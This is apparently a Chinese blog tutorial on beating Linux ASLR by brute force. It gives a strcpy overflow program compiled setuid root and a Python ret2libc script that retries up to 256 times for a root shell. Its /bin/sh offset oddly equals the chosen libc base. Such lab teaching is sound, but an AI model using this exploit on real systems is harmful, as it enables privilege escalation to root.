• Linux (x86) Exploit 开发系列教程之七 绕过 ASLR -- 第二部分


    (1)原理:

      使用爆破技巧,来绕过共享库地址随机化。爆破:攻击者选择特定的 Libc 基址,并持续攻击程序直到成功。这个技巧是用于绕过 ASLR 的最简单的技巧。

    (2)漏洞代码

    	//vuln.c
    #include <stdio.h>
    #include <string.h>
    int main(int argc, char* argv[]) {
     char buf[256];
     strcpy(buf,argv[1]);
     printf("%s
    ",buf);
     fflush(stdout);
     return 0;
    }
    

     编译

    echo 2 > /proc/sys/kernel/randomize_va_space
    gcc -fno-stack-protector -g -o vuln vuln.c
    sudo chown root vuln
    sudo chgrp root vuln
    sudo chmod +s vuln
    

     

    (3)当随机化打开时不同的 Libc 基址

    上面展示了,Libc 随机化仅限于 8 位。因此我们可以在最多 256 次尝试内,得到 root shell。

    (4)攻击代码

    #exp.py
    #!/usr/bin/env python
    import struct
    from subprocess import call
    libc_base_addr = 0x161dd8   #随便选择一个基址即可
    exit_off = 0x001a615c
    system_off = 0x0003f430
    binsh_off=0x161dd8
    system_addr = libc_base_addr + system_off
    exit_addr = libc_base_addr + exit_off
    binsh_arg = binsh_off+libc_base_addr
    #endianess convertion
    def conv(num):
     return struct.pack("<I",num)
    buf = "A" * 268
    buf += conv(system_addr)
    buf += conv(exit_addr)
    buf += conv(binsh_arg)
    bufl=""
    print "Calling vulnerable program"
    #Multiple tries until we get lucky
    i = 0
    while (i < 256):
     print "Number of tries: %d" %i
     i += 1
     ret = call(["./vuln", buf])
     if (not ret):
      break
     else:
      print "Exploit failed"
    

     获得system和exit偏移地址:

    readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit

    readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system

    (5)从网站https://libc.blukat.me/获得/bin/sh偏移地址

    (6)执行程序 $python exp.py,获得root shell。

     

    由于无法解释的神圣旨意,我们徒然地到处找你;你就是孤独,你就是神秘,比恒河或者日落还要遥远。。。。。。
  • 相关阅读:
    兼容性和工程化
    对象
    用JavaScript实现学生管理系统
    用JavaScript实现视频弹幕发送
    数据结构
    数据结构和函数
    JavaScript的基本语法
    JS概括及基本语法
    MongoDB数据库的简单安装与使用
    epxress 的安装与配置
  • 原文地址:https://www.cnblogs.com/momoli/p/10834187.html
Copyright © 2020-2023  润新知